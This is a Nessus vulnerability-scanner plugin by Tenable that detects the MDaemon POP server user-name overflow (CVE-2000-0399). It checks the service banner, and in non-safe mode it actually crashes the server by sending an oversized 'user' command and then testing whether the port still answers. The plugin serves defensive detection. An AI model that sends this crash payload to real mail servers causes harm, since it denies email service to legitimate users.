MDaemon POP Server User Name Overflow DoS

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(14825);
 script_version("1.24");
 script_cvs_date("Date: 2018/11/15 20:50:27");

 script_cve_id("CVE-2000-0399");
 script_bugtraq_id(1250);

 script_name(english:"MDaemon POP Server User Name Overflow DoS");
 script_summary(english:"Crashes the remote pop server");

 script_set_attribute(attribute:"synopsis", value:
"The remote mail server is affected by a denial of service
vulnerability.");
 script_set_attribute(attribute:"description", value:
"The remote host is running the MDaemon POP server.

It is possible to crash the remote service by sending a too long
'user' command.

This problem allows an attacker to make the remote MDaemon service
crash, thus preventing legitimate users from receiving emails.");
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2000/May/306");
 script_set_attribute(attribute:"solution", value:"There is no known solution at this time.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:U/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"vuln_publication_date", value:"2000/05/24");
 script_set_attribute(attribute:"plugin_publication_date", value:"2004/09/27");

 script_set_attribute(attribute:"potential_vulnerability", value:"true");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_MIXED_ATTACK);
 script_copyright(english:"This script is Copyright (C) 2004-2018 Tenable Network Security, Inc.");
 script_family(english:"Windows");

 script_dependencie("find_service1.nasl", "sendmail_expn.nasl");
 script_require_keys("Settings/ParanoidReport");
 script_require_ports("Services/pop3", 110);

 exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("pop3_func.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = get_kb_item("Services/pop3");
if(!port)port = 110;

if ( safe_checks() )
{
 banner = get_pop3_banner (  port: port );
 if ( ! banner ) exit(0);
 if(ereg(pattern:".* POP MDaemon ([0-2]\.|0\.3\.[0-3][^0-9])", string:banner))
 	security_warning(port);

 exit(0);
}

if(get_port_state(port))
{
 soc = open_sock_tcp(port);
 if(soc)
 {
  banner = recv_line(socket:soc, length:4096);
  if ( "MDaemon" >!< banner ) exit(0);
  s = string("user ", crap(256), "\r\n");
  send(socket:soc, data:s);
  d = recv_line(socket:soc, length:4096);
  s = string("pass killyou\r\n");
  send(socket:soc, data:s);
  close(soc);

  soc2 = open_sock_tcp(port);
  if(!soc2)security_warning(port);
  else close(soc2);
 }
}